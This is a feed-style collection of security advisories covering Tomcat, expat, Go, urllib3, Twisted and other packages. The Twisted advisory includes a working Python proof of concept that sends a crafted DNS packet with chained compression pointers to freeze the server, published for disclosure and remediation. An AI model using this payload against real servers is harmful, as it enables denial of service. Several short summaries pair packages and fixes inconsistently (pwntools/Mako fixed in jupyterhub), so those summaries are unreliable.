A medium severity heap out-of-bounds read vulnerability (CVE-2026-2303) was found in the GSSAPI error handling of the go.mongodb.org mongo-driver dependency used by Apptainer. The vulnerability is addressed by removing this dependency in a security update for the alloy component. The update also adds support for building the SUID starter on SLES 15. A patch is available for affected versions.
Red Hat JBoss Web Server is a fully integrated and certified set of components for hosting Java web applications. It is comprised of the Apache Tomcat Servlet container, JBoss HTTP Connector (mod_cluster), the PicketLink Vault extension for Apache Tomcat, and the Tomcat Native library.
This release of Red Hat JBoss Web Server 6.2.5 serves as a replacement for Red Hat JBoss Web Server 6.2.4. This release includes bug fixes, enhancements and component upgrades, which are documented in the Release Notes that are linked to in the References section.
Security Fix(es):
* tomcat-catalina: Apache Tomcat: Misleading security logs due to incorrect control flow (CVE-2026-55276)
* tomcat-coyote-ffm: Apache Tomcat: Error condition not handled when configuring CRL (CVE-2026-53434)
* jws6-tomcat: Apache Tomcat: Security constraint bypass via improper URL encoding in rewrite valve (CVE-2026-59083)
* tomcat: Apache Tomcat: Local information disclosure via Unix domain socket TOCTOU race condition (CVE-2026-65183)
* tomcat: Apache Tomcat: Security constraint bypass due to improper access control (CVE-2026-65182)
* tomcat: Apache Tomcat: Access control bypass due to off-by-one error in RewriteValve [N] flag processing (CVE-2026-65927)
* tomcat: Apache Tomcat: Denial of Service via HTTP/2 allocation leak (CVE-2026-68763)
* tomcat: Apache Tomcat: Unauthorized resource access via FORM authentication bypass (CVE-2026-68525)
* tomcat: Apache Tomcat - DoS in WebSocket chat example (CVE-2026-66299)
* tomcat: Apache Tomcat: Authenticated WebSocket session persists after HTTP session termination (CVE-2026-73180)
* tomcat: Apache Tomcat: Improper Authorization allows bypass of declarative role constraints (CVE-2026-66422)
* tomcat: Apache Tomcat: Improper Authentication due to principal lookup failure (CVE-2026-68569)
* tomcat: Apache Tomcat: Authentication bypass via limited replay attack in DIGEST authenticator (CVE-2026-65905)
* openssl.exe: Heap Use-After-Free in OpenSSL PKCS7_verify() (CVE-2026-45447)
* jws-optional-native-components-win6-x86_64.zip: PKCS#12 Files with PBMAC1 Are Accepted with Short HMAC Keys (CVE-2026-34181)
* jws-optional-native-components-win6-x86_64.zip: OpenSSL: Heap buffer over-read in ASN.1 decoding can lead to denial of service or information disclosure (CVE-2026-34180)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Red Hat Advanced Cluster Management for Kubernetes provides the
capabilities to address common challenges that administrators and site
reliability engineers face as they work across a range of public and
private cloud environments. Clusters and applications are all visible and
managed from a single console—with security policy built in.
This advisory contains the container images for Red Hat Advanced Cluster
Management for Kubernetes, which add new features and enhancements, bug
fixes, and updated container images. See the following
Release Notes documentation, which will be updated shortly for this
release, for additional details about this release:
https://docs.redhat.com/en/documentation/red_hat_advanced_cluster_management_for_kubernetes/2.15/html-single/release_notes/index#acm-release-notes
This update for expat fixes the following issues:
- CVE-2026-41080: crafted XML document can cause a denial of service (bsc#1262263).
- CVE-2026-45186: In libexpat before 2.8.1, the computational complexity of attribute name collision checks allows a
denial of service via moderately sized crafted XML input (bsc#1264713).
- CVE-2026-50219: libexpat before 2.8.2 lacks handler call depth tracking for calls to XML_GetBuffer, XML_Parse,
XML_ParseBuffer, XML_ParserFree, or XML_ParserReset from within handlers in cases of a policy violation (bsc#1267631).
- CVE-2026-56131: libexpat before 2.8.2 lacks handler call depth tracking for calls to XML_ResumeParser from within
handlers in cases of a policy violation (bsc#1268572).
- CVE-2026-56132: mishandled memory reallocation during array scaffolding in doProlog can cause heap-based buffer
overflows (bsc#1268573).
- CVE-2026-56403: integer overflow in the storeAtts function can cause memory corruption and potential arbitrary code
execution (bsc#1275096).
- CVE-2026-56404: integer overflow in the addBinding function can cause undersized memory allocations, memory
corruption, and application crashes (bsc#1275096).
- CVE-2026-56405: integer overflow in the getAttributeId function can cause heap memory corruption and arbitrary
code execution (bsc#1275096).
- CVE-2026-56406: missing bounds validation in XML_ParseBuffer can cause integer overflows, memory corruption, and
application crashes (bsc#1275096).
- CVE-2026-56407: integer overflow in doProlog related to entity text length can cause memory corruption and denial
of service (bsc#1275096).
- CVE-2026-56408: integer overflow in the copyString function can cause heap memory corruption and application crashes
(bsc#1275096).
- CVE-2026-56409: integer overflow in the xmlwf utility output filename handling can allow path buffer corruption and
arbitrary file write conditions (bsc#1275096).
- CVE-2026-56410: integer overflow in resolveSystemId within the xmlwf utility can cause memory corruption, information
disclosure, and potential code execution (bsc#1275096).
- CVE-2026-56411: integer overflow in endDoctypeDecl via NOTATION declarations in xmlwf can cause memory corruption and
denial of service (bsc#1275096).
- CVE-2026-56412: incomplete handler call depth tracking in doCdataSection can cause use-after-free
conditions and arbitrary code execution (bsc#1275096).
- CVE-2026-66046: libexpat: denial of service vulnerability caused by quadratic algorithmic complexity in the
storeAtts() function in xmlparse.c (bsc#1275732).
- CVE-2026-72522: libexpat: out-of-bounds read and resultant infinite loop due to low surrogates being treated the same
as high surrogates during Unicode processing (bsc#1275594).
- CVE-2026-76641: Expat through 2.8.3 contains an out-of-bounds read vulnerability that allows attackers to trigger
memory corruption (bsc#1275915).
- CVE-2026-76956: In libexpat 2.8.2 and 2.8.3 before 2.8.4, misinterpretation of getentropy's return code leads to
insufficient entropy, which results in being vulnerable to hash flooding attacks, causing a denial of service via
crafted X (bsc#1275860).
- CVE-2026-76957: libexpat before 2.8.4 lacks handler call depth tracking with custom encoding callbacks. (bsc#1275859).
Changes for expat:
- Updated to version 2.8.4
A local binary for building customized OS artifacts such as VM images and OSTree commits. Uses osbuild under the hood.
Security Fix(es):
* crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation (CVE-2026-32281)
* crypto/x509: crypto/tls: golang: Go: Denial of Service vulnerability in certificate chain building (CVE-2026-32280)
* net/mail: golang: net/mail: Denial of Service via pathological email address parsing (CVE-2026-42499)
* net/mail: golang: Go net/mail: Denial of Service via crafted email inputs (CVE-2026-39820)
* net: golang: Go net package: Denial of Service via long CNAME response in LookupCNAME (CVE-2026-33811)
* golang.org/x/net/idna: golang: net/http: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing (CVE-2026-39821)
* mime: golang: Golang MIME: Denial of Service via maliciously-crafted MIME header (CVE-2026-42504)
* encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal (CVE-2026-33818)
* net/url: golang: golang net/url: Denial of Service from quadratic complexity in path resolution (CVE-2026-56860)
* net/http: golang: Go net/http: Unencrypted HTTP/2 connections vulnerable to Denial of Service (CVE-2026-56853)
* html/template: golang: Go html/template: Cross-Site Scripting via pathological input (CVE-2026-56858)
* crypto/tls: golang: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages (CVE-2026-56862)
* encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue (CVE-2026-56859)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
This release of the Red Hat OpenShift distributed tracing platform (Tempo) provides new features, security improvements, and bug fixes.
Breaking changes:
* High availability defaults for TempoStack deployment sizes: Before this update, only the ingester component was scaled for high availability while all other components defaulted to a single replica, leaving the overall ingest and query paths vulnerable to single points of failure. With this update, when you set a non-demo deployment size (1x.pico, 1x.extra-small, 1x.small, or 1x.medium) in the spec.size field of the TempoStack custom resource, the Operator defaults each component to at least 2 replicas, and scales throughput-bound components at larger sizes. Watch your resource consumption, as running more replicas per component increases the total CPU and memory consumed by the deployment. Explicit per-component replicas values always take precedence. For more information, see https://redhat.atlassian.net/browse/TRACING-6169.
Deprecations:
* Jaeger Query is deprecated: The Jaeger Query component in the Tempo Operator is deprecated and will be removed in a future release. The Tempo Operator emits a warning when the Jaeger Query feature is enabled. To visualize traces, use the distributed tracing UI plugin as the recommended replacement for the Jaeger UI. For more information, see https://redhat.atlassian.net/browse/TRACING-6509.
Technology Preview features:
* None
Enhancements:
* High availability for TempoStack deployments: You can use the spec.replicationZones field in the TempoStack custom resource to define zone-aware replication. By using this feature, you can deploy TempoStack instances with higher resilience by spreading replicas across topology zones and ensuring minimum pod availability during disruptions. For more information, see https://redhat.atlassian.net/browse/TRACING-6168.
* Service name and namespace auto-complete with query RBAC enabled: When you enable query Role-Based Access Control (RBAC) in a multi-tenant TempoStack deployment, the Tempo gateway supports auto-complete for non-sensitive attributes such as service name and namespace. Before this update, all tag value API endpoints were blocked when query RBAC was enabled, which prevented the Service Name drop-down filter in the distributed tracing console plugin from displaying results. With this update, the gateway allows the search tags API for non-sensitive attributes while still protecting sensitive span data. As a result, the Service Name filter and other non-sensitive attribute drop-down list items work correctly in multi-tenant RBAC mode. For more information, see https://redhat.atlassian.net/browse/TRACING-6485.
Bug fixes:
* TempoStack and TempoMonolithic status conditions accurately reflect pod readiness: Before this update, the status field of the TempoStack or TempoMonolithic custom resource might show Ready=false even when all pods were ready, or vice versa. With this update, the Operator watches Deployment and StatefulSet status changes, and the status conditions accurately reflect actual pod readiness. Deleted pods are removed from the pod status map. As a result, the status field reliably indicates the current state of the deployment. For more information, see https://redhat.atlassian.net/browse/TRACING-6453.
* Gateway redirect URL respects the custom ingress hostname: Before this update, setting a custom hostname with the spec.template.gateway.ingress.host field in the TempoStack custom resource did not update the OpenShift OAuth redirect URL, so authentication redirects pointed to the wrong URL. With this update, the Operator uses the custom hostname when generating the redirect URL, and gateway authentication works correctly with custom ingress hostnames. For more information, see https://redhat.atlassian.net/browse/TRACING-6435.
* Gateway starts on clusters that use external OIDC authentication: Before this update, on clusters using external OpenID Connect (OIDC) authentication instead of the built-in OpenShift OAuth server, the Tempo gateway container failed to start because it could not auto-discover the OpenShift OAuth endpoints. With this update, the gateway handles external authentication and starts correctly on such clusters. For more information, see https://redhat.atlassian.net/browse/TRACING-6646.
Known issues:
* None
### Impact
When following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.
However, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.
### Affected usage
Applications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.
### Remediation
Upgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.
If upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.
Red Hat Advanced Cluster Management for Kubernetes provides the
capabilities to address common challenges that administrators and site
reliability engineers face as they work across a range of public and
private cloud environments. Clusters and applications are all visible and
managed from a single console—with security policy built in.
This advisory contains the container images for Red Hat Advanced Cluster
Management for Kubernetes, which add new features and enhancements, bug
fixes, and updated container images. See the following
Release Notes documentation, which will be updated shortly for this
release, for additional details about this release:
https://docs.redhat.com/en/documentation/red_hat_advanced_cluster_management_for_kubernetes/2.14/html-single/release_notes/index#acm-release-notes
This release of the Red Hat build of OpenTelemetry provides new features, security improvements, and bug fixes.
Breaking changes:
* None
Deprecations:
* None
Technology Preview features:
* None
Enhancements:
* None
Bug fixes:
* None
Known issues:
* None
### Details
The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.
---
### Technical Details
The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.
Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.
```python
## src/twisted/names/dns.py (Lines 595-631)
def decode(self, strio, length=None):
visited = set()
self.name = b""
off = 0
while 1:
l = ord(readPrecisely(strio, 1))
if l == 0:
if off > 0:
strio.seek(off)
return
if (l >> 6) == 3:
new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
if new_off in visited:
raise ValueError("Compression loop in encoded name")
visited.add(new_off)
if off == 0:
off = strio.tell()
strio.seek(new_off)
continue
label = readPrecisely(strio, l)
if self.name == b"":
self.name = label
else:
self.name = self.name + b"." + label
```
---
### PoC
```python
import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers
def create_tcp_payload():
num_pointers = 8000
packet_length = 65533
num_questions = (packet_length - (num_pointers * 2) - 12) // 6
buffer = bytearray(packet_length)
struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)
ptr_offset = 12
for _ in range(num_pointers - 1):
struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
ptr_offset += 2
null_byte_offset = ptr_offset + 2
struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
buffer[null_byte_offset] = 0
question_offset = null_byte_offset + 1
for _ in range(num_questions):
if question_offset + 6 <= packet_length:
struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
question_offset += 6
return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer
def test_dns_server():
factory = server.DNSServerFactory(clients=[])
protocol = factory.buildProtocol(("127.0.0.1", 10053))
transport = proto_helpers.StringTransport()
protocol.makeConnection(transport)
pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
print("payload")
print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")
start = time.time()
protocol.dataReceived(payload)
end = time.time()
print(f"time={end - start:.4f}s")
if __name__ == "__main__":
test_dns_server()
```
---
### Impact
A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.
---
### Remediation
- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
- Share the "resolved offset" state across all records in a single message to prevent redundant processing.
- Validate the number of questions before entering the decoding loop in Message.decode.
---
### Resources
https://cwe.mitre.org/data/definitions/400.html
https://cwe.mitre.org/data/definitions/407.html
https://datatracker.ietf.org/doc/html/rfc9267
https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595
https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09
---
**Author**: Tomas Illuminati
CVE-2026-44307 is a path traversal vulnerability in the pwntools package affecting the Mako template engine on Windows via backslash URI in TemplateLookup. The vulnerability is addressed in py3-jupyterhub package version 5.4.6-r0, which includes security fixes. No known exploits are reported in the wild. The vulnerability has medium severity based on available information.
Red Hat build of MicroShift is Red Hat's light-weight Kubernetes
orchestration solution designed for edge device deployments and is built
from the edge capabilities of Red Hat OpenShift Container Platform.
MicroShift is an application that is deployed on top of Red Hat Enterprise
Linux devices at the edge, providing an efficient way to operate
single-node clusters in these low-resource environments.
This advisory contains the RPM packages for Red Hat build of MicroShift
4.19.42. Read the following advisory for the container images for this
release:
https://access.redhat.com/errata/RHSA-2026:51007
Security Fix(es):
* Kubelet: CRI-O: kube-apiserver: Kubelet, CRI-O, kube-apiserver: Denial of
Service via SPDY streaming code (CVE-2026-35469)
All Red Hat build of MicroShift 4.19 users are advised to use these updated
packages and images when they are available in the RPM repository.
The fluent-bit-plugin-loki package version 3.6.5-r0 addresses five security vulnerabilities, including CVE-2026-27139. A patch is available for these issues. No CVSS score or detailed technical information about the vulnerabilities is provided.
The consul-fips package version 1.22.7-r0 addresses one security vulnerability identified as ghsa-mh2q-q3fh-2475. This update includes security fixes to remediate the vulnerability. No CVSS score or detailed impact information is provided. There are no known exploits in the wild for this vulnerability. The package is not a cloud service, so remediation requires applying the updated version.
The Atlantis package version 0.37.1-r1 addresses three distinct vulnerabilities identified by their GHSA identifiers. This release includes security fixes that mitigate these issues. No CVSS score is provided for these vulnerabilities, and there are no known exploits in the wild at this time.
Qdrant version 1.16.3-r0 addresses one security vulnerability identified as ghsa-8v2v-wjwg-vx6r. A patch is available in this version to fix the issue. No CVSS score or detailed impact information is provided. There are no known exploits in the wild for this vulnerability. Users should upgrade to version 1.16.3-r0 to apply the security fix.
The k8ssandra-client-fips package version 0.8.4-r0 addresses two security vulnerabilities identified by GHSA identifiers ghsa-f6x5-jh6r-wrfv and ghsa-j5w8-q4qc-rx2x. This release provides security fixes to remediate these issues. No CVSS score or detailed impact information is provided. There are no known exploits in the wild for these vulnerabilities. The affected version is specifically 0.8.4-r0, which includes the fixes.
The cass-config-builder package version 1.0.17-r0 includes security fixes addressing one vulnerability identified as ghsa-72hv-8253-57qq. This update resolves the issue present in this specific version. No CVSS score or detailed impact information is provided for the vulnerability. No known exploits are reported in the wild. The package is not a cloud service, so remediation requires applying the fixed version.
Multiple security vulnerabilities were addressed in the pgbouncer package with the release of version 1.25.1-r0. This update fixes four distinct vulnerabilities, including CVE-2026-6664. No specific technical details or impact descriptions are provided for these vulnerabilities. The patch is available and included in version 1.25.1-r0.